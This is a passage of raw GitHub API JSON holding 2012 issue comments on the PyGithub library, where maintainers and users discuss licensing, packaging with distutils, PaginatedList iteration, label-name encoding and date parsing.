#36","updated_at":"2012-05-29T11:58:04Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5981451","created_at":"2012-05-29T11:58:04Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":5981451},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4793162","body":"@Lyloa I have to mention someone to test `Repository.get_issues` with argument `mentioned`","updated_at":"2012-05-29T18:38:53Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5991965","created_at":"2012-05-29T18:38:53Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":5991965},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Should be much improved by 7248e66. Will be in version 1.0","updated_at":"2012-05-30T19:58:35Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6019700","created_at":"2012-05-30T19:58:35Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6019700},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3619973","body":"Done! You can `easy_install --upgrade PyGithub`.","updated_at":"2012-06-03T19:56:17Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6088432","created_at":"2012-06-03T19:56:17Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6088432},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"PyGithub is definitely licensed under the GNU **Lesser** General Public License.\n\nAccording to http://www.gnu.org/licenses/gpl-howto.html, including both COPYING and COPYING.LESSER is the good way to use the LGPL. Anyway, this is misleading, so I will add a section about licensing in the readme today or tomorrow.\n\nThank you for your feedback, I hope PyGithub will be useful for you.","updated_at":"2012-06-13T10:52:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6293572","created_at":"2012-06-13T06:03:24Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6293572},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5036241","body":"Sorry I wasn't up to date on v3 licensing best practices. Thank you very much!\n","updated_at":"2012-06-13T16:17:27Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6305625","created_at":"2012-06-13T16:17:27Z","user":{"type":"User","gists_url":"https://api.github.com/users/jeblair/gists{/gist_id}","followers_url":"https://api.github.com/users/jeblair/followers","avatar_url":"https://secure.gravatar.com/avatar/12dc328a104d4c4694b3df308bcd4e6d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jeblair/following","organizations_url":"https://api.github.com/users/jeblair/orgs","url":"https://api.github.com/users/jeblair","gravatar_id":"12dc328a104d4c4694b3df308bcd4e6d","events_url":"https://api.github.com/users/jeblair/events{/privacy}","repos_url":"https://api.github.com/users/jeblair/repos","login":"jeblair","received_events_url":"https://api.github.com/users/jeblair/received_events","subscriptions_url":"https://api.github.com/users/jeblair/subscriptions","id":899068,"starred_url":"https://api.github.com/users/jeblair/starred{/owner}{/repo}"},"id":6305625},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Hello, when the user has not set his name, `user.name` is `None`, so you can't concatenate it with a string. The exception is not raised by PyGithub but by your code. Try `print user.login, \"->\", user.name` to avoid string concatenation.","updated_at":"2012-06-15T16:56:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357374","created_at":"2012-06-15T14:08:33Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6357374},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5092592","body":"Perfect! Thanks, that worked. I _knew_ `+` for string concatenation was evil...did not listen.","updated_at":"2012-06-15T14:12:00Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6357422","created_at":"2012-06-15T14:10:33Z","user":{"type":"User","gists_url":"https://api.github.com/users/aneroid/gists{/gist_id}","followers_url":"https://api.github.com/users/aneroid/followers","avatar_url":"https://secure.gravatar.com/avatar/5557aad9ff70c36cfac418f511bdea98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/aneroid/following","organizations_url":"https://api.github.com/users/aneroid/orgs","url":"https://api.github.com/users/aneroid","gravatar_id":"5557aad9ff70c36cfac418f511bdea98","events_url":"https://api.github.com/users/aneroid/events{/privacy}","repos_url":"https://api.github.com/users/aneroid/repos","login":"aneroid","received_events_url":"https://api.github.com/users/aneroid/received_events","subscriptions_url":"https://api.github.com/users/aneroid/subscriptions","id":1468519,"starred_url":"https://api.github.com/users/aneroid/starred{/owner}{/repo}"},"id":6357422},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","body":"Thank you for your contribution, I will merge it and publish version 1.1 tonight.","updated_at":"2012-06-20T08:15:10Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6447481","created_at":"2012-06-20T08:15:10Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6447481},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5152384","body":"I've just pushed the version 1.1 of the package. You can `easy_install --upgrade PyGithub` if you want.","updated_at":"2012-06-20T21:06:08Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467193","created_at":"2012-06-20T21:06:08Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6467193},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","body":"Hello Alex, thank you for your feedback.\n\nI've just pushed the version 1.1 of the package. I've used `package_data` as explained in the [documentation of distutils](http://docs.python.org/distutils/setupscript.html#installing-package-data), but I'm still not very confident about my understanding of distutils... \n\nCould you please upgrade the package and tell if it's better?","updated_at":"2012-06-20T21:11:31Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467312","created_at":"2012-06-20T21:11:31Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6467312},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5177381","body":"Thanks for looking at this so quickly! Here's the result of running `python setup.py install` with your new changes:\n\n```\n\nrunning install_lib\ncopying build/lib/COPYING -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncopying build/lib/COPYING.LESSER -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\ncreating /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/Design.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfApis.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/doc/ReferenceOfClasses.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/doc\ncopying build/lib/github/Requester.py -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/github\ncopying build/lib/ReadMe.md -> /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages\n\n```\n\nI wish I could help, but I'm afraid I don't know how setuptools works.","updated_at":"2012-06-20T21:33:50Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6467642","created_at":"2012-06-20T21:22:44Z","user":{"type":"User","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","followers_url":"https://api.github.com/users/malexw/followers","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/malexw/following","organizations_url":"https://api.github.com/users/malexw/orgs","url":"https://api.github.com/users/malexw","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","events_url":"https://api.github.com/users/malexw/events{/privacy}","repos_url":"https://api.github.com/users/malexw/repos","login":"malexw","received_events_url":"https://api.github.com/users/malexw/received_events","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","id":577322,"starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}"},"id":6467642},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Those new apis where documented on June 5th, in https://github.com/github/developer.github.com/commit/3cff4bb9a1f1baf3101c984072cd4b4f0165618c. This explains that they are not covered by PyGithub 1.0 that was released on June 3rd.\n\nIt should not be too difficult to support them. I'll try to do it next week.","updated_at":"2012-06-21T12:42:19Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481200","created_at":"2012-06-21T12:42:19Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6481200},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Thank you","updated_at":"2012-06-21T12:52:06Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6481392","created_at":"2012-06-21T12:52:06Z","user":{"type":"User","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","followers_url":"https://api.github.com/users/kukuts/followers","avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/kukuts/following","organizations_url":"https://api.github.com/users/kukuts/orgs","url":"https://api.github.com/users/kukuts","gravatar_id":"9be6ba907be1740213b69422fdf52b57","events_url":"https://api.github.com/users/kukuts/events{/privacy}","repos_url":"https://api.github.com/users/kukuts/repos","login":"kukuts","received_events_url":"https://api.github.com/users/kukuts/received_events","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","id":1831238,"starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}"},"id":6481392},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I was running into issues with labels with spaces. The _identity attribute is just the URL encoded name.\n\nIt works great for building a URL endpoint, but not so great when the label's name is going to part of the POST body since it causes GitHub to return a 422 error complaining that the label doesn't exist.","updated_at":"2012-06-25T18:47:30Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6556134","created_at":"2012-06-25T18:47:30Z","user":{"type":"User","gists_url":"https://api.github.com/users/philipkimmey/gists{/gist_id}","followers_url":"https://api.github.com/users/philipkimmey/followers","avatar_url":"https://secure.gravatar.com/avatar/decc9323f241b6dd24ec35ef7cabaf75?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/philipkimmey/following","organizations_url":"https://api.github.com/users/philipkimmey/orgs","url":"https://api.github.com/users/philipkimmey","gravatar_id":"decc9323f241b6dd24ec35ef7cabaf75","events_url":"https://api.github.com/users/philipkimmey/events{/privacy}","repos_url":"https://api.github.com/users/philipkimmey/repos","login":"philipkimmey","received_events_url":"https://api.github.com/users/philipkimmey/received_events","subscriptions_url":"https://api.github.com/users/philipkimmey/subscriptions","id":211079,"starred_url":"https://api.github.com/users/philipkimmey/starred{/owner}{/repo}"},"id":6556134},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"You're perfectly right, thank you! I'll merge your contribution and publish a new version next week-end.","updated_at":"2012-06-25T19:33:48Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6557261","created_at":"2012-06-25T19:30:24Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6557261},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"Welcome back! Indeed, PyGithub has evolved (and stabilized).\n\nMethods that used to return a list of objects now return a `PaginatedList`. `PaginatedList` instances are only iterable (They do not support concatenation as lists do, and you cannot call `len` on them).\n\nThe rationale behind that? It is related to issue #33 and requests returning a large number of objects. In the previous version, creating a list of all the requested objects required a lot of [pagination requests](http://developer.github.com/v3/#pagination), and was quite long. It was a waste of time if the user was interested only in the first elements of that list. Enters `PaginatedList`, which does the pagination requests only when really needed. And it is no more limited to 10 pages.\n\nSo, to achieve what your are trying to do, you have to iterate the `PaginatedList` explicitly, either in a loop, or in the constructor of another collection.\n\nSimple iteration:\n\n for issue in itertools.chain(\n repo.get_issues( state = 'closed' ),\n repo.get_issues( state = 'open' )\n ):\n do stuff\n\nReal list from PaginatedList (and then you can have its length):\n\n issues = list( repo.get_issues( state = 'closed' ) ) + list( repo.get_issues( state = 'open' ) )\n nb_issues = len( issues )\n","updated_at":"2012-06-26T06:34:33Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568164","created_at":"2012-06-26T06:34:33Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6568164},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"I'll try to document this behavior soon.","updated_at":"2012-06-26T06:35:48Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568181","created_at":"2012-06-26T06:35:48Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6568181},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5259624","body":"Thanks for this, very helpful. I didn't know I could cast to list so easily (could've tried, though >.<)","updated_at":"2012-06-26T07:02:14Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6568553","created_at":"2012-06-26T07:02:14Z","user":{"type":"User","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","repos_url":"https://api.github.com/users/bilderbuchi/repos","login":"bilderbuchi","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442,"starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}"},"id":6568553},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I've fixed Repository.create_issue and .get_issues as well.","updated_at":"2012-06-28T20:10:39Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640187","created_at":"2012-06-28T20:10:39Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6640187},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5256315","body":"I've just merged your commit in branch `develop`. It will go in `master` when I publish version 1.2. You can expect it on Saturday or Sunday. Thank you again for the bug report and the associated patch.","updated_at":"2012-06-28T20:10:44Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6640189","created_at":"2012-06-28T20:10:44Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6640189},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"Problem: issues returned by the [`/legacy/issues/search` API](http://developer.github.com/v3/search/#search-issues) do not match those returned by [other v3 APIs](http://developer.github.com/v3/issues/#response):\n* labels are returned only by name, not not name, color and url\n* date-time format is different\n* maybe something else\n\nOf course, similar differences exist for users and repositories.\n\nIntegrating this legacy API will be more difficult than I thought.","updated_at":"2012-06-28T21:02:23Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6641223","created_at":"2012-06-28T20:49:13Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6641223},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5191621","body":"This is implemented in version 1.2, you can update from pypi.","updated_at":"2012-06-29T18:47:28Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/6673380","created_at":"2012-06-29T18:47:28Z","user":{"type":"User","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","repos_url":"https://api.github.com/users/jacquev6/repos","login":"jacquev6","received_events_url":"https://api.github.com/users/jacquev6/received_events","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146,"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}"},"id":6673380},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/5387373","body":"Interestingly, if I convert this manually in the meantime, using the method you use in the PyGithub code (`tdate=datetime.datetime.strptime(t.commit.commit.committer.date, \"%Y-%m-%dT%H:%M:%SZ\")`), I get an error cause the format does not match. I get a string of the form `2010-02-11T01:17:27-08:00` - time zone information has been added, but I don't know how to parse it, the `:` in `-08:00` prevents me from using `%z` (which expects UTC offset in the form +HHMM or -HHMM). I will discard it for now, but maybe you got insight why this 